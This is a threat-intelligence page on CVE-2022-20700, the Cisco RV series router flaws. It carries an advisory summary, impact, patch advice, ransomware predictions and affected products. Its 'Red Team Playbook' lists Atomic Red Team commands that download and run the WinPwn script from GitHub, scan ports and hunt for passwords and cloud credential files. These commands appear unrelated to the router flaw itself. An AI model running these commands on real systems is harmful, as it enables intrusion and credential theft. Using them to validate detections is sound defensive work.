CVE-2022-20700
Overview
The vulnerabilities in Cisco Small Business RV Series Router Firmware stem from multiple memory corruption issues, including stack-based buffer overflows and improper bounds checking. These flaws exist within the firmware components responsible for processing network packets and handling authentication mechanisms. The affected components fail to properly validate input lengths and authentication tokens, leading to unsafe memory operations and bypass of security controls.
Vulnerability Description
Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory.
Impact
An unauthenticated attacker can exploit these vulnerabilities to execute arbitrary code with elevated privileges, bypass authentication controls, and run unsigned firmware on the affected routers. This enables full compromise of the device, including control over network traffic and disruption of network services. No user interaction or valid credentials are required to exploit these flaws, making them highly exploitable in real-world scenarios and potentially leading to data interception, lateral movement within networks, or denial of service.
Solution
Cisco has released firmware updates addressing these vulnerabilities for the RV160, RV260, RV340, and RV345 Series routers. Administrators should upgrade to the fixed firmware versions as detailed in Cisco Security Advisory cisco-sa-smb-mult-vuln-KA9PK6D. The advisory provides specific version numbers and installation instructions. No alternative mitigations are recommended; prompt application of the vendor-supplied patches is required to remediate the issues.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
Recent vulnerabilities affecting Cisco's Small Business RV series routers have raised significant concerns within the cybersecurity community due to their potential to allow unauthorized access and control over network devices. These vulnerabilities present a range of critical issues, including the ability to execute arbitrary code, elevate privileges, and bypass authentication mechanisms. The affected models, including the RV160, RV260, RV340, and RV345 series, are widely utilized in small to medium-sized enterprises, making the implications of these vulnerabilities particularly alarming. The underlying technical flaws stem from improper input validation and insufficient security controls, which can be exploited by attackers to manipulate the router's firmware and execute malicious commands.
Attack vectors associated with these vulnerabilities are diverse and can be executed remotely, making them particularly dangerous. An attacker could leverage these weaknesses to gain unauthorized access to the router's administrative functions, allowing them to execute arbitrary commands or even install unsigned software. Such capabilities could lead to a complete compromise of the network, enabling the attacker to intercept sensitive data, redirect traffic, or launch further attacks against internal systems. Additionally, the potential for denial of service (DoS) attacks means that an attacker could disrupt network operations, causing significant downtime and loss of productivity for businesses relying on these routers for their connectivity and security.
The real-world impact of these vulnerabilities cannot be overstated. For small and medium-sized businesses, the exploitation of these flaws could result in severe financial losses, reputational damage, and legal repercussions. The ability for an attacker to execute arbitrary code or elevate privileges could lead to the theft of sensitive customer information or proprietary data, exposing organizations to compliance violations and potential lawsuits. Moreover, the disruption of services due to DoS attacks could hinder business operations, leading to lost revenue and customer trust. As these routers are often deployed in environments with limited IT resources, many organizations may lack the expertise to respond effectively to such incidents, exacerbating the risks involved.
To detect and mitigate these vulnerabilities, organizations should adopt a multi-faceted approach. Regularly updating router firmware is crucial, as vendors typically release patches to address known vulnerabilities. Implementing robust network segmentation can help limit the impact of a potential breach, ensuring that compromised devices do not provide attackers with access to critical systems. Additionally, employing intrusion detection systems (IDS) can aid in identifying suspicious activities associated with exploitation attempts. Organizations should also conduct regular security assessments and penetration testing to evaluate their defenses against potential attack vectors. Educating staff on security best practices and the importance of maintaining up-to-date firmware can further bolster an organization's resilience against these threats.
In conclusion, the vulnerabilities affecting Cisco's Small Business RV series routers pose a significant threat to the security and integrity of organizational networks. The potential for arbitrary code execution, privilege escalation, and denial of service attacks highlights the urgent need for proactive security measures. By understanding the technical details, recognizing the attack vectors, assessing the potential impact, and implementing effective detection and mitigation strategies, organizations can better protect themselves against these critical vulnerabilities and safeguard their operations in an increasingly hostile cyber landscape.
CSURFACE threat intelligence has identified a recalibration in the severity rating of CVE-2022-20700, with the CVSS score now elevated to a perfect 10.0 from the previous 9.8. This adjustment reflects an acknowledgment of the vulnerability’s absolute criticality, underscoring its potential for complete system compromise without mitigations. Concurrently, the Exploit Prediction Scoring System (EPSS) value has risen by over 30%, indicating an increased likelihood of exploitation attempts in the near term. Our telemetry further reveals a steady upward trend in exploit activity, although no new proof-of-concept exploits have been publicly disclosed. The ransomware group Akira remains associated with this vulnerability, but there is no confirmed ransomware campaign linked at this time. These developments collectively heighten the urgency for defenders to prioritize monitoring and detection efforts around affected Cisco Small Business RV series routers. The enhanced exploitability and critical impact elevate the threat level, signaling a greater risk of widespread compromise if unaddressed.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Cisco | Rv340 Firmware | All |
cpe:2.3:o:cisco:rv340_firmware:*:*:*:*:*:*:*:*
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Cisco | Rv340w Firmware | All |
cpe:2.3:o:cisco:rv340w_firmware:*:*:*:*:*:*:*:*
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|
Cisco | Rv345 Firmware | All |
cpe:2.3:o:cisco:rv345_firmware:*:*:*:*:*:*:*:*
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Cisco | Rv345p Firmware | All |
cpe:2.3:o:cisco:rv345p_firmware:*:*:*:*:*:*:*:*
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Cisco | Rv160 Firmware | All |
cpe:2.3:o:cisco:rv160_firmware:*:*:*:*:*:*:*:*
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Cisco | Rv160w Firmware | All |
cpe:2.3:o:cisco:rv160w_firmware:*:*:*:*:*:*:*:*
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Cisco | Rv260 Firmware | All |
cpe:2.3:o:cisco:rv260_firmware:*:*:*:*:*:*:*:*
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Cisco | Rv260p Firmware | All |
cpe:2.3:o:cisco:rv260p_firmware:*:*:*:*:*:*:*:*
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Cisco | Rv260w Firmware | All |
cpe:2.3:o:cisco:rv260w_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-20700 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-smb-mult-vuln-KA9PK6D |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-20700 |